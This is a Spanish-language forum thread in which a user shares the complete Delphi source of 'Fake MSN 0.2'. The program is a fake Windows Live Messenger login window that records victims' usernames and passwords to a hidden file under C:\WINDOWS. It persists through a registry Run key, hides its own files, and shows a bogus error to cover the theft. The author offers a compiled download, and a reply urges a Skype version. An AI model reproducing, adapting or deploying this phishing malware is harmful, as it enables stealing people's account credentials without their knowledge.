[Delphi] Fake MSN 0.2

Iniciado por BigBear, 21 Noviembre 2012, 18:18 PM

0 Miembros y 1 Visitante están viendo este tema.

BigBear

Aca les traigo la nueva version de este Fake MSN hecho en delphi.

Con las siguientes opciones :

  • El programa al cargarse se mueve automaticamente a la carpeta de windows
  • El programa se ejecuta cuando Windows se inicia
  • Se ocultan los archivos relacionados al programa
  • Con poner "doddy" en user y "hackman" en pass en el programa se cargan los logs ocultos

    Una imagen



    El codigo

    Código (delphi) [Seleccionar]

    {
    Fake MSN 0.2
    Coded By Doddy H
    }

    unit fake;

    interface

    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, jpeg, ExtCtrls, StdCtrls, Registry;

    type
      TForm1 = class(TForm)
        Image1: TImage;
        Edit1: TEdit;
        Edit2: TEdit;
        Image2: TImage;
        procedure Edit1Click(Sender: TObject);
        procedure Edit2Click(Sender: TObject);
        procedure FormCreate(Sender: TObject);
        procedure Image2Click(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form1: TForm1;

    implementation

    {$R *.dfm}

    procedure TForm1.Edit1Click(Sender: TObject);
    begin
      Edit1.Text := '';
    end;

    procedure TForm1.Edit2Click(Sender: TObject);
    begin
      Edit2.Text := '';
      Edit2.PasswordChar := '*';
    end;

    procedure TForm1.FormCreate(Sender: TObject);

    var nombrereal: string;
      rutareal: string;
      yalisto: string;
      her: TRegistry;

    begin

      nombrereal := ExtractFileName(ParamStr(0));
      rutareal := ParamStr(0);
      yalisto := 'C:\WINDOWS\' + nombrereal;

      MoveFile(Pchar(rutareal), Pchar(yalisto));

      her := TRegistry.Create;
      her.RootKey := HKEY_LOCAL_MACHINE;

      her.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', FALSE);
      her.WriteString('uber', yalisto);
      her.Free;

      SetFileAttributes(PChar(yalisto), FILE_ATTRIBUTE_HIDDEN);
      SetFileAttributes(PChar('C:/windows/datos.txt'), FILE_ATTRIBUTE_HIDDEN);

    end;

    procedure TForm1.Image2Click(Sender: TObject);

    var archivo: TextFile;
      ruta: string;

    begin

      if (Edit1.Text = 'doddy') and (Edit2.Text = 'hackman') then
      begin
        WinExec(PChar('notepad c:/windows/datos.txt'), SW_SHOW);
      end
      else
      begin

        if Edit1.Text = '' then
        begin
          ShowMessage('Escribe tu Id. de Window Live ID en este formato: tu nombre@ejemplo.com');
        end;
        if Edit2.Text = '' then
        begin
          ShowMessage('Escribe tu contraseña');
        end
        else
        begin
          if Edit2.Text = 'Escribe aqui tu contraseña' then
          begin
            ShowMessage('Escribe tu contraseña');
          end
          else
          begin
            ruta := 'c:/windows/datos.txt'; //mod
            if FileExists(ruta) then
            begin
              AssignFile(archivo, ruta);
              FileMode := fmOpenWrite;
              Append(archivo);
              Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' + Edit2.Text);
              CloseFile(archivo);
              Application.MessageBox('Se ha producido un error , es necesario reiniciar Window Live Messenger', 'Window Live Messenger', MB_OK);
              Form1.Close;
            end
            else
            begin
              AssignFile(archivo, ruta);
              FileMode := fmOpenWrite;
              ReWrite(archivo);
              Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' + Edit2.Text);
              CloseFile(archivo);
              Application.MessageBox('Se ha producido un error , es necesario reiniciar Window Live Messenger', 'Window Live Messenger', MB_OK);
              Form1.Close;
            end;
          end;
        end;
      end;

    end;

    end.

    // The End ?


    Si quieren bajar el proyecto + el programa compilado lo pueden hacer de aca.

    Cualquier sugerencia o error diganlo para mejorar (porque el programa en si no me convence xDD).


Danyfirex

Deberías hacerlo para skype ahora que pasara a la historia.

esta muy guapo

BigBear

si , me entere recien lo de skype xDD.